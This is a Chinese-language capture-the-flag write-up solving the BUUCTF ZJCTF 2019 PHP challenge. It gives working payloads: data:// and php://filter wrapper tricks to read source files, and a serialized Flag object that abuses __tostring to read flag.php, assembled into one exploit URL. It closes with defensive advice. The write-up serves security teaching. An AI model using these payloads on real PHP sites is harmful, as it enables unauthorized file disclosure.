从零攻破BUUCTF经典PHP反序列化漏洞:ZJCTF 2019实战解析

第一次接触CTF的Web题目时,面对满屏的PHP代码总有种无从下手的感觉。今天我们就以BUUCTF平台上的ZJCTF 2019题目为例,手把手带你体验完整的解题思路。这不是简单的答案复现,而是深入理解每一步背后的原理,让你真正掌握PHP反序列化漏洞的挖掘技巧。

1. 初识题目:代码审计基础

当我们打开题目页面,首先看到的是一段PHP源代码。作为新手,不要被看似复杂的代码吓倒,我们需要像侦探一样逐层分析。这段代码的核心逻辑是接收三个参数: text file password ,每个参数都有特定的过滤条件。

关键代码特征分析

  • isset() 检查参数是否存在
  • file_get_contents() 读取文件内容
  • preg_match() 进行正则表达式过滤
  • unserialize() 反序列化操作

提示:在CTF中,看到 unserialize() 函数就要立即警惕可能的反序列化漏洞,这是PHP题目中的高频考点。

2. 突破第一关:巧用data协议绕过文件读取

第一关要求 text 参数读取的内容必须包含特定字符串。常规思路是读取服务器上的物理文件,但如何确保文件内容符合要求?这里我们需要了解PHP的伪协议:

?text=data://text/plain,welcome to the zjctf

为什么data协议有效

  1. data:// 允许直接在URL中嵌入数据
  2. 避免了服务器文件系统的依赖
  3. 可以精确控制文件内容

当题目要求特定字符串时,data协议是最直接的解决方案。如果需要Base64编码:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

3. 第二关的智慧:绕过过滤发现关键线索

通过第一关后,我们遇到正则表达式过滤:

if(preg_match("/flag/", $file)) {
    echo "Not now!";
    exit();
}

这里直接包含 flag.php 会被拦截。但敏锐的你会注意到代码中提到了 useless.php ,这很可能就是突破口。我们使用php过滤器读取其内容:

file=php://filter/read=convert.base64-encode/resource=useless.php

关键技巧

  • php://filter 可以读取文件内容
  • convert.base64-encode 确保特殊字符不会破坏输出
  • 获取的Base64编码内容需要解码分析

解码后我们得到了 useless.php 的源码,里面定义了一个 Flag 类,这为后续的反序列化攻击埋下了伏笔。

4. 反序列化漏洞的构造与利用

useless.php 中我们发现了一个关键类:

class Flag {
    public $file;
    public function __tostring() {
        return file_get_contents($this->file);
    }
}

这个类的 __tostring 魔术方法会在对象被当作字符串使用时自动调用,而其中直接使用了 file_get_contents 读取 $file 属性。这就是我们的攻击入口!

构造Payload的步骤

  1. 创建Flag类实例
  2. 设置file属性为"flag.php"
  3. 序列化这个对象
  4. 将序列化结果传递给password参数
$flag = new Flag();
$flag->file = "flag.php";
echo serialize($flag);
// 输出:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

5. 完整攻击链的组装与执行

现在我们已经掌握了所有关键部件,可以组装最终的攻击Payload:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

执行流程解析

  1. text 参数通过data协议验证
  2. file 参数包含useless.php源码
  3. password 参数触发反序列化
  4. 反序列化的Flag对象在后续处理中被当作字符串使用
  5. __tostring 魔术方法执行,读取flag.php内容
  6. flag出现在页面源代码中

6. 防御思路与安全启示

通过这道题目,我们不仅要学会攻击方法,更要理解如何防御:

安全建议

  • 避免反序列化用户输入
  • 使用 json_encode/json_decode 替代序列化
  • 对魔术方法的使用保持谨慎
  • 实施严格的输入过滤

在实际开发中,永远不要相信用户的输入。这道题目虽然简单,但涵盖了Web安全的多个核心概念,是新手进阶的绝佳练习。

更多推荐